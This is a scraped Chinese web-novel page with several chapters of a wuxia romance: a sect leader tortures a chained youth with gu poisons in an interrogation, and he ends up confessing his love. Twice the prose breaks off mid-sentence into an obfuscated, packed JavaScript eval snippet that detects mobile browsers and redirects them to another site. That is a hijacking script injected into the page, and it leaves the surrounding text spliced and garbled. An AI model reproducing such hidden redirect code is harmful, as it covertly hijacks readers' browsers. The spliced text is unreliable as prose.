静姝看着这一幕惊讶地嘴都合不拢,四根幽黑的寒铁链自山壁垂下,末端牢牢锁着那郁淮的两只手腕和脚踝。 方才还桀骜冷傲、丝毫不让人近身的少年,此刻竟然敛去一身锋芒,任由金甲卫将他四肢尽数锁住,再无路可逃。 17. 讯问 两名金甲卫做完这一切后便恭谨地退至一旁,桑妩居高临下地俯视眼前少年,他正以最屈辱的姿势跪在她面前,锁在寒铁链中的修长手腕仿佛轻轻一折便会断掉,却更加提醒她,这双手是如何在顷刻间制住所有金甲卫。 “在我来之前,你一个字都不会说。”桑妩冷冷开口,“这话可是你说的?” 顾清淮艰难地仰着头,黝黑的寒铁链衬得肌肤越发苍白,“阿姐,我——” 不待少年说完,桑妩出手如电封住少年身前哑穴,唇角冷冷扬起,“既然你一个字都不想说,我也不想再听到哪怕一个字。” 她不能被他牵着鼻子走,更何况即使他现在说了,不过是精心编造的另一套谎言而已。 她淡淡吩咐:“静姝,把降神香点上。” 降,降神香?静姝瞬间打了个寒颤,降神香是用龙销香等珍贵药材制成,能将人的感官放大数倍不止,吸入降神香后,即使只是手破皮的疼痛,也会和被刀割肉无异。 而其中还加有一味重要的主药,那便是百年人参,让人即使痛到极点也晕不过去,即使身体到了极限也能吊着一口命,实乃刑讯必备。 所谓降神,便是即使是神来了,也逃不脱被降伏的命运。自她入教后,还是第二次见到有人值得教主拿出这降神香。 看着一旁鎏金博山炉中袅袅升起的白色雾气,桑妩心中的愤怒狠戾都在一瞬间被无限放大。 她从怀中掏出一个只有人手掌大小的精致锦盒,漫不经心地把玩着,“听说毒对你无效,既然如此,咱们不如试试蛊?” 虽然是商量的话语,语气却是不容拒绝的冷酷。 静姝闻言浑身一震,浮光教的蛊可没有一个是好相与的,痛晕过去甚至直接痛死的人也不在少数,难怪尊主要破例点上这珍贵的降神香。 桑妩从盒中取出一物摊在手心,赫然是一枚只有芝麻大小的黑色药丸,在女子白皙的肤色映衬下黑的格外渗人。 “这蛊名为千日锤。”她冷冷看着眼前少年,明知道他无法回答,仍是笑着问了出来:“你可知道什么叫千日锤?” 桑妩嗓音轻柔魅惑,笑意却不达眼底,反而带着种残忍的冰冷。 少年目光倏地一颤,像是被突然丢入巨石的平静湖面,泛起阵阵涟漪。 桑妩唇角弧度渐渐扩大,“这蛊发作时,像是有一柄沉重的锤子不停锤击心脏,没有片刻停息,而且随着时间的延长捶击的力道会一下重过一下,不到一柱香的时间,便会重到好似有万钧之力。” 桑妩轻软的嗓音在空旷的寒狱中显得格外缥缈,一个字一个字地钻入每个人耳中。 少年眼角泛起湿润的红,目光却忽而沉静下来,像是映在秋日湖面的冷月,只有那穿在寒铁锁中的双手紧紧攥着,暴露了主人并不平静的内心。 桑妩蹲下身,将手掌递到少年面前,唇角忽而扬起抹残忍的笑意,她是要遏住他喉咙逼他吃下去,还是划开他皮肤,让药丸直接融进血肉。 浮光教的蛊皆是为了折磨人而制,她比任何人都清楚这蛊一旦进入身体,宿主将要面临多么痛苦且漫长的折磨。 因此今日这只蛊,不为刑讯,只为泄愤。 她恨有人竟然骗她至此,更恨自己竟然差一点真的相信了他。 滔天的怒气渐渐在起伏不定的胸膛中发酵,掌心却突然一阵温热。 桑妩含怒的目光倏地凝住,眼前的少年竟是艰难地俯下身子,将她掌心的药丸,缓缓卷进了自己口中。 少年含着药丸抬起头,目光中是深沉的平静和安然,却像是笼着薄雾的湖面,水面下隐藏着难言的哀伤和决绝。 被少年用这样的目光看着,桑妩心中猛地一凛很快又毫无波澜,以这少年的聪慧自然不难明白,他现在唯有配合才能少受皮肉之苦。 少年静静看着她,淡薄的唇角忽而浅浅扬了扬,像是扑火的飞蛾,明知前路是死仍义无反顾。 桑妩眸光瞬间一沉,她猛地掐住少年两颚迫使他张开嘴,那嘴里赫然空无一物,竟是真的咽了下去。 手下肌肤的温度以一种极快的速度攀升着,不到片刻已烫的她下意识松开了手,而几乎是在她松开手的同时,少年脸色骤然一白。 顾清淮双手死死攥紧,急促地喘息起来,却因为被点哑穴而发不出半点声音,寂静的寒狱中只听得见沉闷的喘息和呻/吟声。 很快,顾清淮再也维持不住挺直的跪姿,整个人下意识地想要蜷缩起来,双手却始终被牢牢吊在上方半点动弹不得。 咚、咚、咚! 重锤一下又一下地锤向心脏,豆大的冷汗从顾清淮额头不住滴落,痛苦的绯红从脖颈一路蔓延到脸庞,青筋根根凸起,身体不住地剧烈颤抖,四根铁链被挣的哗啦作响,在一片寂静中令人越发窒息可怖。 少年像是被蚕茧牢牢束缚的幼蝶,无路可躲,无处可避。 静姝已转过身去不忍再看,心脏是人身体最脆弱的地方,哪怕是轻轻一碰都疼痛万分,更不用说在感官被无限放大的情况下,被一柄重锤砸在心口,只一下已是人间酷刑,更何况一下重过一下,没有片刻停歇,更不知这种折磨何时才会停止。 若是没有一旁燃着的降神香,正常人此时恐怕早已晕死过去。 不到一会儿的功夫,少年身前已是一滩水渍,整个像是刚从水里捞出来一般。 寒狱寂静阴冷,在山壁的中央,桑妩长身而立,一袭绚丽红衣映着桃花般的明丽容颜,披着的白色狐裘衬的肌肤白皙似雪,灿若春华,顾清淮却是狼狈地跪在地上,衣衫浸湿,浑身颤抖痉挛。 桑妩目光渐渐晦暗,抱在胸前的双手无声地攥紧,她对待叛徒或奸细的手段向来简单粗暴,要么直接斩杀,要么拖去喂无忧。 可她对眼前的少年,终究是不同的。哪怕她不想承认,不管是因为这副绝佳的皮囊还是旁的什么,可事实就是,她现在还不想让他死。 她俯下身,伸手解开少年被封住的哑穴—— “呃——啊!”骤然被解开穴道,少年猛地痛哼出声,嗓音因长时间的疼痛而颤抖沙哑,少年狠狠咬住那无一丝血色的唇,才堪堪止住那痛苦的嚎叫。 桑妩示意金甲卫搬来太师椅,不紧不慢地在少年面前坐下,冷冷开口:“说话。” 因为长时间的折磨顾清淮虚弱地垂着头,身子却仍一下一下地痉挛。 疼痛像是无穷无尽的黑暗,又像是一张密不透风的网,将他包裹在其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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少年痛苦地嘶鸣着,鲜血从被磨破的手腕淌下,滴落在地。短短一句话,似乎什么都没说,桑妩却已然懂了。 若不是郁小六的爹娘,她不会失去自己的爹娘,更不会失去自己的家,她会被疼爱着长大,而不是独自漂泊无所依靠、所有心酸痛苦都只能咬牙咽下。 素来冷酷的一颗心像是被紧紧揪住,左胸处似乎再次刺痛起来,桑妩将鞭柄紧紧抵在那通红的脖颈上,厉声质问:“若你是郁小六,你的重明功是和谁学的?” “我,我……呃——啊!”少年全身都在剧烈地颤抖、痉挛,千斤重锤敲在心上,仿佛灵魂都被撕裂开来,入骨的疼痛让他甚至无法完整地说出一句话。 桑妩收回灭魂鞭,左掌聚力悬在少年脑袋上方,冷道:“快说,否则我一掌崩了你!” 少年猛地喷出一口鲜血,迷离之下竟是向她凝聚了全身内力的手掌上靠去,本是威胁性命的手瞬间变成像是在亲昵地抚摸发顶。 顾清淮神志已然近乎涣散,颤抖的嗓音低到几不可闻:“阿姐,你杀了我吧……” 好痛,真的好痛……痛到就连呼吸都是一种酷刑,痛到就连风吹过肌肤都是种残忍的折磨,他本就欠阿姐一条命,此番就当还给她了…… 18. 对峙 掌心传来的毛发触感让桑妩倏地一怔,一股莫名的酸胀似藤蔓般从心底扩散,他这是在……跟她撒娇? 指尖一阵从未有过的酥麻,桑妩下意识地想要抚摸少年发顶,一句低到近乎梦呓的话语却在此时突然传入耳中。 “阿姐,你杀了我吧……” 恍惚的一句低语,似卑微祈求,又似缱绻呢喃,极轻极低,却无比清晰地钻入她耳中。 杀了……他? 他这是,想死? 他竟然想死?! 心脏像被针扎般一阵刺痛,一股莫名的心悸和恐慌像潮水般袭来,浑身血液齐齐上涌,桑妩猛地抬手—— “咻啪!” 冷硬的灭魂鞭尾狠狠击中少年胸口,脆弱的身躯猛地痉挛,一口鲜血喷涌而出,脸色红的越发吓人。 静姝抿紧了唇一脸不忍,这千日锤残忍异常,曾经有人被折磨到硬生生将自己心脏剜了出来。哪怕点着降神香寻常人也根本撑不过哪怕一柱香,而从这少年中蛊到现在已经过去将近一个时辰,只怕早已是痛到连咬舌自尽的力气都没有了,真真是求生不得、求死不能。 “郁小六,你怎么敢死!”桑妩咬着牙,从喉咙深处一个字一个字地蹦了出来。 “郁小六”三个字像是黄钟大吕般在顾清淮耳畔轰然炸开,他神志陡然一清,却也只维持了短短一瞬。 很快,入骨的疼痛再次猛烈袭来,周遭空气变得浓稠又冰冷,每一次呼吸都像是拉扯着看不见的丝线,喉咙像是被卸掉所有气力,只能发出破碎的气息声。 “阿姐,我,呃——我真的坚持不住了……” 恍惚的低语夹杂在痛苦的呻/吟中,桑妩将双拳攥的咯吱作响,在意识还没反应过来时,左掌已猛地聚力拍向少年胸口,澎湃的内力瞬间涌入—— 一只黑色的小虫从少年指尖破洞钻出,掉在地上不住挣扎蠕动。 静姝瞳孔骤然一缩,世间的蛊大多易中难解,尊主竟是用最上乘的霜天功法将那蛊虫生生逼了出来!她以为除了青鸾使,尊主在这世间再没有在意的人,可素来冷酷的尊主却会为了眼前的少年耗费内力,只为逼出蛊虫。 桑妩目光渐渐幽暗,所幸少年中蛊时间很短,蛊虫尚未和血肉连接,她才能这般轻易地将其逼出。 她视线不自觉地瞥向躺在地上的黑色蛊虫,黑色的虫身上还带着鲜红的血,那是少年的血。 若是换一个人,即使他痛晕痛死过去,她也不会升出半分波澜,可她刚刚,竟然逼出了她亲手种下的蛊。 顾清淮两只手仍被高高吊着,手腕处早已是一圈血痕,他狼狈地垂着头,如同渴水的鱼般大口地喘息着,浓密的睫毛像被雨水打湿的蝶翅不住颤抖,四肢百骸早已痛的不像是自己的,心中却倏地淌过一丝久违的热意。 真好,真好…… 滚烫的泪珠从眼角溢出,沿着苍白的脸颊颗颗滑落,他以为阿姐知道他是郁小六后,会恨他怨他,会留他一人被蛊虫折磨,自生自灭,可她竟然替他解了蛊,解了这令人痛不欲生的蛊。 这人竟然哭了……桑妩用鞭柄冷冷抬起少年下颌,露出那张被泪水浸湿的俊美脸庞,潮红褪去,只剩苍白,周身仍在微微颤抖,唯独看向她的眼神,迷离而又孺慕,恍若十二年前,他也总是这般仰视着她。 桑妩目光泛着冷,像是冬夜里幽光清冷的星,从高处俯瞰众生。 “我既然可以替你解蛊,便也可以再次下蛊,你若不想再经历一次这痛彻心扉的折磨,便如实回答我的话。” 明明是威胁的话,少年嘴角却艰难地扬了扬,如三月春光般明媚而温情,颤哑的嗓音仍旧带着疼痛的余韵:“阿姐,你……不恨我?” 桑妩冷厉的目光倏地一凝,她没想到经过了这番漫长的折磨,他说的第一句话,竟然是这个。 早在刚才她亲口说出“郁小六”三个字时,她才清楚地意识到,她其实早已信了他的话,信了他是那个一直跟在她身后的小土豆。 在她看不见的地方,在她不知道的时候,当年的小土豆已经长成如今这副陌生却极其出色的模样。她也许是恨他的,可她的恨,在知道他还活着时早已烟消云散,她现在恨的是,在她好容易找到故人后,他竟然想死。而她更恨的是,他的欺骗和隐瞒。 她用鞭柄将少年的下颌抬到近乎难受的高度,目光透着发冷的恨意,“郁小六,你的命是我救下的,是石河村的乡亲救下的,你还没有替他们报仇,你怎么有资格去死!” 竟然是这样……晶莹的泪珠再次从高仰着的脸颊滑落,他刚刚竟然天真地以为阿姐不恨他,原来她只是在等替乡亲们报完仇再来取走他的命,如此,也好…… 毕竟,本就该如此…… 桑妩像是被少年的泪水烫到般猛地收回手,她退后一步直起身子,再次成为那个高高在上的一教之主,在事情没有问清楚前,她不会因为他是郁小六而有任何的心慈手软。 “你是郁小六,那郁大叔便是你阿爹,在石河村时你告诉我,你的霜天功是和你阿爹学的,这个我信,毕竟就连我的霜天功最初也是和郁大叔所学,但是你这一身高深的重明功呢,又是从何处学来?” 少年呼吸渐渐平静,目光透着死寂般的黯然,“阿姐,你可还记得我娘?” “自然是记得,你娘对我们一直很好,每次我们去你家找郁大叔学武,她都会给我们准备好清爽可口的桃花露。” 郁大娘性子温和却极有原则,郁大叔行事随意放荡,偏偏在郁大娘面前乖巧的判若两人。她一直以为郁大娘不会武,可直到那些贼人闯入后她才知道,郁大娘竟然是正义盟的人,是和郁大叔在一起后才在西州边缘的石河村隐居。 顾清淮似是想起父母,唇边露出一丝苦涩怀念,“我阿娘她……其实是流云北宗的弟子,武功不在阿爹之下。” 听到流云宗三字桑妩双眉猛地一挑,郁大娘竟然是流云宗的弟子?“所以,你的重明功是和你阿娘学的?” 顾清淮轻轻点了下头,“和浮光教不同,流云宗有宗规,非本门弟子不能传功,因此当时只有阿爹能教你们功夫,阿娘却是不行。” 竟是如此…… 桑妩紧缩的双眉慢慢松开,这样一来似乎所有事情都能说得通,所有的事情都有了解释。 郁小六是郁大娘的亲生儿子自然能算流云宗弟子,郁小六会重明功似乎很是理所当然。郁大娘和郁大叔在一起,涉及流云宗秘事,他之前不愿直言她也能理解。 可是她总觉得还有什么至关重要的事情少年并没有告诉她,而也许他隐瞒的,才是事情的关键。 毕竟屠村之时他才只有六岁,就算他三岁开始习武,修习重明功至多不超过三年。江湖中凡是内功心法必得循序渐进,每突破一重才会修炼下一重的心法口诀,短短三年绝对不可能习得这么高明的一身本事。 “郁小六,”她定定开口,像十二年前那般唤着他,“你可有什么事情瞒着我,没有告诉我?” 少年低垂的目光一滞,锁在寒铁锁中的手微微蜷了蜷,终是轻轻摇了下头,嗓音低哑:“没有了。” 眼前的少年四肢被缚跪在地上,浸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14932960|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿的白衣勾勒出紧实的身形,腰间束着一根淡蓝色的锦带,即使狼狈至此整个人却不像囚犯奴隶,更像是甘愿被禁锢的道子谪仙。 桑妩神情渐冷,右手无意识地把玩着灭魂鞭精美的鞭柄,她一会儿将长鞭散落,一会儿又盘成一圈,看上去随意又慵懒。 可只有静姝知道,此刻的桑妩就是一座随时会爆发的火山,稍有触怒,顷刻间血流成河。 最终,桑妩右手执鞭指向少年,“郁小六,若是你有事瞒我,休怪我心狠手辣。” 她平生最恨欺骗,更恨被亲近之人欺骗。 桑妩语气很轻很淡,却没有人会质疑这番话的真实性,“你”字尾音落下,似乎就连夜明珠光都齐齐暗了一刹,寒狱中静的只能听见山壁水珠滴落的声音。 顾清淮紧紧咬着那早已残破不堪的下唇,缓缓阖上眼,任泪水浸出。 不管是郁小六还是顾清淮,都亏欠阿姐太多。阿姐对郁小六尚且仇恨不已,若是知道他就是顾清淮,是正义盟的盟主,那双他无数次梦到、眷恋的眼睛里,将会充斥着对他的厌恶和仇恨,若是如此,他宁愿以郁小六的身份死在阿姐手中…… 桑妩静静站着却久久没有回音,末了,她轻轻叹了一声,她给过他机会了。 她俯身拾起地上躺着的黑色蛊虫,不紧不慢地放回锦盒中,看着那被桑妩捏在手中仍不停蠕动的蛊虫,顾清淮眼底闪过一丝隐忍的疼意,极浅极快,却仍被她敏锐地捕捉到了。 她勾了勾唇,淡淡道:“你放心,这蛊虫但凡见血,七七四十九天之内都不能再次使用。” 她将锦盒盖上递给静姝,视线的余光正好扫到少年似乎松了一口气,冷艳的嘴角不禁扬起抹淡淡嘲讽,“你以为本教主只有一种蛊虫么?” 她从怀中掏出一个鎏金的红色锦盒,从中取出一粒红色的浑圆药丸摊在手心,如愿以偿地看到少年目光陡然一颤,似乎只是看到这药丸,那入骨的疼痛已然再次涌来。 桑妩将药丸递到少年面前,嗓音冷漠:“这蛊名为‘千丝’,服下后有如被人用一根极细的丝线,一片一片割开你身上每一寸肌肤,每一片肉,从心脏到四肢,就那么割啊割,一直割却割不断。” 在人的感官被数倍放大时,没有人能承受的住这种折磨。 少年双手无声地攥紧,泛着水光的双眸露出一抹凄婉的哀伤,他虽然早已习惯了疼痛,却还是会怕,会疼…… 可这一切,本就是他应得的…… 桑妩明艳的双眉紧紧蹙着,为什么到此刻还不说实话,为什么到了现在这个地步,她竟还没有在少年眼中看到丝毫求饶,她再次开口:“若你说实话,便不用知道它的滋味,若你不说,便只能请你尝上一尝,你知道,这蛊一旦进入身体,你便连寻死的机会都没有了。” 少年咬紧了唇,看向她的目光里却是她完全意料不到的平静和安然。 桑妩心中猛地一震,她将手掌又向前递了递,冷冷威胁:“是你自己吃下去,还是我切开你胸前血肉,让药丸融进去。” 她不信这世上会有人在亲身尝试过后,还能无惧蛊虫的威力。 白皙的掌心映着红色的药丸,两人一站一跪,阴暗的寒狱中安静极了,只有山壁水珠一颗颗滴落—— “嘀嗒,” “嘀嗒,” “嘀嗒,” 每一下都仿佛滴在桑妩心脏上,让她凭空升出一股久违的暴躁和烦郁。 在水珠再次滴下时,眼前的少年霍然低下头,竟是含起那会令人痛不欲生的红色药丸,义无反顾地咽了下去。 19. 心意 手心的温热一触即离,桑妩眸光猛地一沉,四周空气瞬间冰冷,甚至带上了刺骨寒意。 好,好得很,她还是第一次看到有人上赶着受刑罚,既然这是他想要的,她成全他! 桑妩坐在太师椅上,含怒闭上了眼。两人一坐一跪,新一轮的折磨已然来临。 这一次她并没有封住少年哑穴,在铁链剧烈撞击的哗啦声中,伴随着少年痛苦的嘶鸣和呻/吟。 或高或低,或长或短,却没有丝毫间断,心脏像被猛地揪紧,她知道,少年这是已经没有多余的力气或者理智去克制自己了。 纤长的手指无意识地在扶手上敲击着,双目紧闭双眉却越蹙越深,这一次,她丝毫没有以往审问犯人那种畅快,反而心中一股气越憋越怒。 他这是在和她赌气! 看究竟是她先心软,还是他先坚持不住。 当年那个练功不利被爹娘说上一句都会跑到河边哭的小土豆,竟会变得像现在这般善于忍耐,她想起曾在他身上看到的道道伤痕,这些年他究竟经历了什么。 但凡尝过蛊虫滋味的人,无一例外最后都会痛哭求饶,能自己主动第二次服下蛊虫的人,这么多年还是第一个。 桑妩心底竟莫名地升出一股诡异的自豪,这是她的土豆,是她一手养大的土豆,她恨他欺她瞒她,却也欣慰于他不仅活着,还变得这般出色。 直到耳边少年的喘息和呻/吟越来越弱—— 她猛地睁开眼,眼前的一幕让她所有冷漠暴戾尽皆一滞。 少年头颅高高扬着,青筋爆起,乌黑的长发凌乱地散落身侧,修长的身躯因为疼痛而形成一个漂亮的反弓,像是无论如何也无法逃脱命运束缚的蝉茧。 顾清淮已然痛的瞳孔涣散,无数细长的丝线同时刺入他的皮肤、肌肉、筋脉,一下一下地割肉、切肤,早已被冷汗浸湿的身躯不受控制地痉挛抽搐,他身上的每一块肌肉,每一根筋脉都在疼痛,他像是笼罩在无穷无尽的黑暗中,寻不到丝毫光亮。 “郁小六!”桑妩猛地一声厉喝,在空旷的寒狱中隐隐有回声传来—— 郁小六郁小六…… 仿若跨越了时间,直击人内心最深处。 “阿姐……”顾清淮艰难地抬起头,恍惚呢喃。 桑妩直直盯着少年颤着水气的目光,厉声问道:“你到底有什么事情一直瞒着我,不敢告诉我?” “你到底有什么事情一直藏在心底,不敢吐露,更不敢倾诉人前?” “你到底藏着什么事情,宁愿受此钻心之痛也要隐瞒?” 桑妩连声质问,一声高过一声,一声冷过一声。 顾清淮仰着头痛苦地呻/吟喘息,高吊着的小臂上浮起暗红色脉络,皮下似有活物在蜿蜒爬行,剧痛之下脑袋一片混沌。 他到底有什么事情瞒着阿姐,不敢告诉她,他到底有什么心事一直藏在心底,不敢对人言,他到底是因为什么宁愿痛苦至此也要藏在心中? 他不敢告诉阿姐他的过往,不敢告诉阿姐他的身份,而他最不敢告诉阿姐的,是他的心思,他的心思……他深深藏于心底,就连自己都不知道的心思…… 在寒铁链的铮鸣声中,在少年痛苦的嘶鸣声中,破碎的字句混着血沫,如同月下雾影般,在寒狱中低低响起。 “我喜欢阿姐……” 少年的嗓音低到几不可闻,甚至没有水滴落下的声音清晰,却恍若在她耳畔轰然炸开,桑妩蹭的站起身来,红色裙裾如暗夜红梅般盛开,“你说什么!” 顾清淮仿佛置身于无穷无尽的黑暗中,周遭一片安静,直到桑妩一声厉喝,于浓稠的黑暗中撩动心弦—— 他,刚刚说了什么…… 桑妩双眸清湛,在阴暗的寒狱中宛如璀璨明珠,在剧烈的疼痛面前,没有人有多余的意志和理智可以用来编造谎言。 可是不管是过去还是现在,她都只把他当弟弟,他是何时对她起了这种心思? 桑妩蓦地俯身,她撩开粘在少年脸颊的凌乱乌发,露出那张如月下古竹般清冷的脸庞,素来沉静的目光此刻颤抖而又迷离,淡薄的嘴唇已被咬的斑斑血色,让人心中陡然升出一股暴戾,想要将那血迹一一舔净。 灼灼的视线渐渐下移,少年一身白衣早已被汗水浸湿,淡蓝锦带勾勒出紧实修长的腰身,单薄却充满了力量。 桑妩幽暗的目光倏地燃起危险的光,她把他当弟弟又如何,她自己的弟弟,她想怎样便怎样。 她一把攫住少年下颌,逼迫他直视她的目光,嗓音低软而又魅惑,“你说你喜欢我,是想和我在一起,还是把我当姐姐?” “呃——啊!” “啊啊啊!” 剧烈的疼痛再次袭来,此时哪怕是一阵风吹在他身上,都仿佛刀割般疼痛,更不用说被手这般紧紧攫住下颌。 顾清淮挣扎着睁开眼,眼前红色的明艳身影,和他记忆中的那个身影渐渐合二为一,滚烫的眼泪瞬间无声地溢出—— 他竟然会喜欢上自己的阿姐,他竟然对阿姐抱着这种心思,他怎么可以如此卑劣,他怎么可以…… 好痛,好痛……心脏像是有上万只蚂蚁同时噬咬,四肢都已痛到不似自己的。 桑妩皱起双眉,手下的肌肤瞬间烫到她无法触摸,“千丝”和“千日锤”不同,“千丝”不需解蛊,随着时间推移蛊虫的影响只会越来越轻,算算时辰此时蛊虫已然快要死去,这人怎么还会痛成这副模样。 甚至看上去比一开始 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少年站在原地,蓦然一声长啸,浩瀚内力震的后壁山石簌簌而落,桑妩浑身真气瞬间凝聚,却见少年艰难地抬起手,在众人凝重的目光中,竟是一掌向自己胸口拍去! “唔——” 一口鲜血猛地喷出,白色的单薄身影像断线的风筝般,向前倒去。 桑妩接住了他。 动作先于意识,待她反应过来时,少年已经静静躺在她怀中,双目紧闭气若游丝,俊美脸庞苍白到近乎透明,垂着的手腕处更是一圈刺目血红,揭示着他刚刚经历了怎样的酷刑。 她三指搭在少年腕间凝神把脉,过了片刻才终于松了口气。这人一掌下去内伤极重,若换了旁人早已回天乏术,好在少年身子强健,而她刚好内力精深。 墨崖脸色阴沉地看向桑妩怀中昏迷不醒的少年,对着桑妩双手行礼:“尊主,此人擅自挣脱锁链又对您如此无礼,可要属下现在杀了他?” 这人刚刚以一己之力力敌金甲卫,他本以为这人今日会死在寒狱,不想他竟然熬了过来,而最让他无法接受的是,尊主待此人明显和旁人不同。 从来不让男子近身的尊主,从来待人冷漠的尊主,竟会将这少年接在怀中。 墨崖躬着的身躯因为愤怒和紧张而微微颤抖,桑妩并没有理会更没有回答,她将少年轻轻放在地上,双手运功抵住他后背,精深的霜天功内力瞬间涌入——直到少年脸色渐渐有了一丝红润,才缓缓撤掌。 她再次把了下脉,确认少年无性命之忧后,终于愉快地扬了扬唇。 女子笑容明媚而又张扬,让阴暗的寒狱瞬间一亮,“把他洗干净,待他一醒,便送到我寝殿来。”